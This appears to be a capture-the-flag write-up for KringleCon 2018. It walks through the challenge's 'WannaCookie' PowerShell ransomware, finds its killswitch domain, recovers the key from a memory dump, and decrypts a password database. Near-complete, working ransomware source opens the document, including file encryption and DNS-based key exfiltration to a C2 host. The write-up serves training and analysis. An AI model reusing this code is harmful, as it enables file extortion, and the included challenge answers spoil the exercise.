    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true)
    return $(B2H $encKey)
}
#This function either encrypts or decrypts the files
function e_n_d {
    #Input parameters are the private key, the array of files to alter and whether it will be encrypted or decrypted (true/false)
    param($key, $allfiles, $make_cookie )
    $tcount = 12
    #Loops through each file in the array
    for ( $file = 0
        $file -lt $allfiles.length
        $file++  ) {
        while ($true) {
            $running = @(Get-Job | Where-Object { $_.State -eq 'Running' })
            if ($running.Count -le $tcount) {
                Start-Job  -ScriptBlock {param($key, $File, $true_false)
                    #Tries to perform the encrypt/decrypt function and logs to ps_log.txt
                    try {e_d_file $key $File $true_false} catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile + '\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions
                break
            }
            #If fails, it waits 200 milliseconds
            else {
                Start-Sleep -m 200
                continue
            }
        }
    }
}
#This is the function that connects to the C2 server to send and receive data
function g_o_dns($f) {
    $h = ''
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10) - 1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings}
    return (H2A $h)
}
#Converts a string into 32 bit array chunks
function s_2_c($astring, $size = 32) {
    $new_arr = @()
    $chunk_index = 0
    foreach ($i in 1..$($astring.length / $size)) {
        $new_arr += @($astring.substring($chunk_index, $size))
        $chunk_index += $size
    }
    return $new_arr
}
#Sends the encryption key to the C2 server
function snd_k($enc_k) {
    $chunks = (s_2_c $enc_k )
    foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}}
    return $n_c_id
}
#Triggers the actual launch of "WannaCookie"
function wanc {
    #Unique ID of this ransomware infection
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
    #If this value is not null then kill the malware (this may be the killswitch code! We will come back to this)
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}
    #If a local webserver is already running on port 8080 or the domain is KRINGLECASTLE then kill the malware
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}
    #Retrieves the public key via DNS
    #Converting "7365727665722E637274" to ASCII reveals "server.crt"
    #Maybe we can use this later!
    $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) )
    #Generates random bytes as the encryption key
    $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
    #Converts generated bytes to hex array
    $h_k = $(B2H $b_k)
    #Get a SHA1 hash of this hex array
    $k_h = $(sh1 $h_k)
    #Generates the encrypted key with the key and public key as input
    $p_k_e_k = (p_k_e $b_k $p_k).ToString()
    #Generates a unique ID for this ransomware infection
    $c_id = (snd_k $p_k_e_k)
    #Gets current date and time
    $d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n")
    #Collects list of files to encrypt. All files in the current user's profile.
    [array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile + '\Desktop'), $($env:userprofile + '\Documents'), $($env:userprofile + '\Videos'), $($env:userprofile + '\Pictures'), $($env:userprofile + '\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
    #Calls the encryption function with the key bytes, file list and intent to encrypt
    e_n_d $b_k $f_c $true
    #Removes sensitive variable data
    Clear-variable -Name "h_k"
    Clear-variable -Name "b_k"
    $lurl = 'http://127.0.0.1:8080/'
    #Uses DNS to retrieve the HTML page to be served on the local webserver
    #Full HTML will be shown below
    $html_c = @{'GET /' = $(g_o_dns (A2H "source.min.html"))
        'GET /close' = '<p>Bye!</p>'
    }
    #Opens up an Internet Browser window to the local webserver page
    Start-Job -ScriptBlock {param($url)
        Start-Sleep 10
        Add-type -AssemblyName System.Windows.Forms
        start-process "$url" -WindowStyle Maximized
        Start-sleep 2
        [System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl
    $list = New-Object System.Net.HttpListener
    $list.Prefixes.Add($lurl)
    $list.Start()
    try {
        $close = $false
        #Listening for HTTP requests
        while ($list.IsListening) {
            $context = $list.GetContext()
            $Req = $context.Request
            $Resp = $context.Response
            $recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath
            #Provides main HTML page with instruction on how to decrypt
            if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {
                #If attempting to decrypt it is expecting a decryption key
                $akey = $Req.QueryString.Item("key")
                #If the SHA1 has of the entered key equals the SHA1 hash of the original private key the following runs
                if ($k_h -eq $(sh1 $akey)) {
                    #Converts key to byte array
                    $akey = $(H2B $akey)
                    #Collect list of user's files
                    [array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
                    #Sends to decypt function
                    e_n_d $akey $f_c $false
                    $html = "Files have been decrypted!"
                    $close = $true
                }
                #If entered key is invalid, the following is displayed
                else {$html = "Invalid Key!"}
            }
            elseif ($recvd -eq 'GET /close') {
                $close = $true
                $html = $html_c[$recvd]
            }
            #This calls the C2 server via DNS to see if this unique infection has been paid or not
            elseif ($recvd -eq 'GET /cookie_is_paid') {
                $c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings
                #If the response if 32 bits long is displays appropriately, else, states unpaid
                if ( $c_n_k.length -eq 32 ) {$html = $c_n_k} else {$html = "UNPAID|$c_id|$d_t"}
            }
            else {
                #Generic 404 if the requested page is invalid
                $Resp.statuscode = 404
                $html = '<h1>404 Not Found</h1>'
            }
            $buffer = [Text.Encoding]::UTF8.GetBytes($html)
            $Resp.ContentLength64 = $buffer.length
            $Resp.OutputStream.Write($buffer, 0, $buffer.length)
            $Resp.Close()
            if ($close) {
                $list.Stop()
                return
            }
        }
    }
    finally {$list.Stop()}
}
#Triggers the malware code
wanc

Now, the goal of this challenge is to find the killswith. Lets take a look back at the snippet that checks for a null value or else it kills the process.

if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}

It appears that the code is looking up a domain name and if it returns a valid record then the code stop running. If we load up the required functions (H2A, B2H, ti_rox, G2B, H2B and S1) and run the bit of code that represents the domain being looked up we can see what it is.

$(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))

PS > yippeekiyaa.aaay

Now lets take that domain and try to register it at the Ho Ho Ho Daddy registrar.

Registrar

Answer

Successfully registered yippeekiyaa.aaay!

Question 12: Recover Alabaster's Password

After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered in the database for the Vault entry?

Hints

Goal

Use the code we have analyzed so far to decrypt Alabaster's file

Approach

We know how files are encrypted and decrypted so we can use the code we already have. The only piece of info we do not have is the private key encryption password. To find this we can use Chris Davis' talk again. Toward the end he steps through the process of searching through Powershell memory dumps for strings.

So, lets look back at the previous code and see what the private key encryption key looks like. We know it is generated by the p_k_e function with the private key and public key bytes as its input.

$p_k_e_k = (p_k_e $b_k $p_k).ToString()

Looking at the p_k_e function we see it is calling the Windows crypto object to create a X509 cert. It imports the public key and generates the encrypted key based on the provided key bytes input into the function. It then returns the encrypted key in hex format.

function p_k_e($key_bytes, [byte[]]$pub_bytes) {
    $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2
    $cert.Import($pub_bytes)
    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true)
    return $(B2H $encKey)
}

Lets load the helper functions and see what the p_k_e_k will look like.

PS > $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) )
PS C:\Working\kringlecon2018> $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
PS > $h_k = $(B2H $b_k)
PS > $k_h = $(sh1 $h_k)
PS > $p_k_e_k = (p_k_e $b_k $p_k).ToString()
PS > $p_k_e_k
0fa86c375b705f9565686729c815451ebe122a8102218a1fac88f0866ff4e3951f57e6473e5addd118781526ee60865e48ea562bbdf8c71e2630ff0a669f559dfc9dda25adce6374a11159cb440d73cdba215347132cf1ad1dd4037ff5dcd050c73ce82eeef1398e01eb91091c205830dffbabf5f80030de2da08299a96c464b69db9066cc9ecc3ce3afcefb027ca6aab47928c49bbabf385e306b7ad3d6ca5de0dfd4b6c47d7dd167290a7ec3352ee9940c4bcc3355fededf64476dfaac41f42b698d90fe007d4eb7b4a314a5efce9a00c233885cec55beba4a38fe58b3eb969612bf958390b604296bf2ff97d664cc31286c15f739abb344561ab61171fd72
PS > $p_k_e_k.length
512

It is going to be a 512 bit hex array.

Lets load up the provided Powershell memory dump from Alabaster.

We can use the tool Power Dump provided by Chris.

$ ./power_dump.py
==============================
 |  __ \
 | |__) |____      _____ _ __
 |  ___/ _ \ \ /\ / / _ \ '__|
 | |  | (_) \ V  V /  __/ |
 |_|   \___/ \_/\_/ \___|_|
 __                       __
 \ \         (   )       / /
  \ \_    (   ) (      _/ /
   \__\    ) _   )    /__/
      \\    ( \_     //
       `\ _(_\ \)__ /'
         (____\___))
  _____  _    _ __  __ _____
 |  __ \| |  | |  \/  |  __ \
 | |  | | |  | | \  / | |__) |
 | |  | | |  | | |\/| |  ___/
 | |__| | |__| | |  | | |
 |_____/ \____/|_|  |_|_|
Dumps PowerShell From Memory
==============================
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 1

We need to load in the dmp file.

============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files
B       |                    | back to menu
============= Loaded File: =================

============================================
: ld powershell.exe_181109_104716.dmp

Go back to main menu.

============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files
B       |                    | back to menu
============= Loaded File: =================
powershell.exe_181109_104716.dmp 427762187
============================================
: B

Process the loaded dump.

============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : False
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 2

Note

This processing takes a while :-( Time for coffee...

Now we can search the processed dump file for variables.

============ Main Menu ================
Memory Dump: /mnt/c/Working/kringlecon2018/docshttps://gitlab.com/arnydo/kringlecon2018/raw/master/docs/media/powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : True
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 4

Lets reduce the number of results to just hex strings. We know hex strings can only contain the letters a-f and the numbers 0-9.

[i] 10947 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: matches "^[a-fA-f0-9]+$"

================ Filters ================
1| MATCHES  bool(re.search(r"^[a-fA-f0-9]+$",variable_values))

[i] 542 powershell Variable Values found!

We also know that the string is going to be 512 characters long.

[i] 542 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: len == 512

================ Filters ================
1| MATCHES  bool(re.search(r"^[a-fA-f0-9]+$",variable_values))
2| LENGTH  len(variable_values) == 512

[i] 1 powershell Variable Values found!

One found! Lets see what it is.

============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: print all
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
Variable Values #1 above ^
Type any key to go back and just Enter to Continue...

It looks like we found the encrypted private key used to encrypt the file!

3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

Now that we recovered the encrypted key lets work on getting the real key. Remember the snippet earlier where it requested the public key via DNS. Lets see if we can use the same technique to get the private key file.

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) )

Since the private key is typically called server.key lets convert that to hex and give it a try.

PS > g_o_dns("7365727665722e6b6579")
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

Now we can combine the public key ($p_k) and the private key into a single PEM file so we can import into the machine.

-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAP6e19cw2sCjMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTgwODAzMTUwMTA3WhcNMTkwODAzMTUwMTA3WjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAxIjc2VVG1wmzBi+LDNlLYpUeLHhGZYtgjKAye96h6pfrUqcLSvcuC+s5
ywy1kgOrrx/pZh4YXqfbolt77x2AqvjGuRJYwa78EMtHtgq/6njQa3TLULPSpMTC
QM9H0SWF77VgDRSReQPjaoyPo3TFbS/Pj1ThlqdTwPA0lu4vvXi5Kj2zQ8QnxYQB
hpRxFPnB9Ak6G9EgeR5NEkz1CiiVXN37A/P7etMiU4QsOBipEcBvL6nEAoABlUHi
zWCTBBb9PlhwLdlsY1k7tx5wHzD7IhJ5P8tdksBzgrWjYxUfBreddg+4nRVVuKeb
E9Jq6zImCfu8elXjCJK8OLZP9WZWDQIDAQABo1AwTjAdBgNVHQ4EFgQUfeOgZ4f+
kxU1/BN/PpHRuzBYzdEwHwYDVR0jBBgwFoAUfeOgZ4f+kxU1/BN/PpHRuzBYzdEw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAhdhDHQvW9Q+Fromk7n2G
2eXkTNX1bxz2PS2Q1ZW393Z83aBRWRvQKt/qGCAi9AHg+NB/F0WMZfuuLgziJQTH
QS+vvCn3bi1HCwz9w7PFe5CZegaivbaRD0h7V9RHwVfzCGSddUEGBH3j8q7thrKO
xOmEwvHi/0ar+0sscBideOGq11hoTn74I+gHjRherRvQWJb4Abfdr4kUnAsdxsl7
MTxM0f4t4cdWHyeJUH3yBuT6euId9rn7GQNi61HjChXjEfza8hpBC4OurCKcfQiV
oY/0BxXdxgTygwhAdWmvNrHPoQyB5Q9XwgN/wWMtrlPZfy3AW9uGFj/sgJv42xcF
+w==
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

After importing the certificate we can locate the thumbrint to use for the Powershell code below that will decrypt the key. This Powershell script was derived from a sample project at http://jeffmurr.com/blog/?p=228.

function r_p_k_e($priv_bytes, $CertThumbprint){
    # Decrypts the encrypted key using the private key
    # Assumes the certificate is in the CurrentUser\My (Personal) Store
    $Cert = Get-ChildItem cert:\CurrentUser\My | where-object { $_.Thumbprint -eq $CertThumbprint }
    if($Cert) {
        $EncryptedByteArray = $(H2B $priv_bytes)
        $Bin = $Cert.PrivateKey.Decrypt($EncryptedByteArray,$true)
    }
    Else {Write-Error "Certificate with thumbprint: $CertThumbprint not found!"}
    Return $(B2H $Bin)
}

Lets set the $priv_bytes variable to the hex string we recovered in Powerdump.

$priv_bytes = "3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971"

And the thumbrint of the certificate we want to decrypt.

$certthumbrint = "b1d1e73dcbffbd458b341a6e8aed3549a81077d6"

And run the script.

PS > r_p_k_e -priv_bytes $priv_bytes -CertThumbprint $certthumbprint
fbcfc121915d99cc20a3d3d5d84f8308

Okay, getting so close. Now we have the original encryption key. Next step is to run the code to decrypt the files.

#We need to convert from hex to bytes because that is what the e_d_file function is expecting
$key = $(H2B "fbcfc121915d99cc20a3d3d5d84f8308")
#Function from ransomware.ps1 file that performs the crypto. $key is out encryption key, $f_c is the list of files in the user's profile folders and $false means decrypt
e_d_file $key $f_c $false

The file is DECRYPTED!!!! alabaster_passwords.elfdb

It looks like a Sqlite DB so lets see what the contents are.

 sqlite3.exe .\alabaster_passwords.elfdb
SQLite version 3.8.8.3 2015-02-25 13:29:11
Enter ".help" for usage hints.
#List available tables
sqlite> .tables
passwords
#Select all rows in passwords table
sqlite> SELECT * FROM passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com

Yes! Found the password now we can get out of this room!

Answer

ED#ED#EED#EF#G#F#G#ABA#BA#B

Question 13

Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?

Hints

  • The earlier challenge referencing Mary Had a Little Lamb discussed transposing music...that may help here.

Approach

Arriving at the door panel we see we are expected to play a tune. The password in Alabaster's decrypted password vault indeed looks like musical notes. He did say that it was supposed to be in the key of D so lets transpose it. I used an online tool to accomplish this but it can be done manually as show with Mary Had a Little Lamb.

Transpose

Result was D C# D C# D D C# D E F# E F# G A G# A G# A so lets play it on the piano.

Piano

And we reveal the message!

Santa's Vault

Answer

You have unlocked Santa's vault!

Question 14

Who was the mastermind behind the whole KringleCon plan?

Upon entering Santa's vault we are greeted with the followingfrom Santa himself:

Santa

Congratulations. You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test! You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot! You see, I finally found you! I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers. That’s why we had so many different challenges this year. We needed to find someone with skills all across the spectrum. I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised. And you did! Oh, and those brutish toy soldiers? They are really just some of my elves in disguise. See what happens when they take off those hats? Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys. And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will. You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted? They lived happily ever after.

It was Santa! He was the mastermind! And what I took away from his speach was that I get to help run Holiday Hack Challenge next year! Probably not what he meant but one could only hope!

Answer

Santa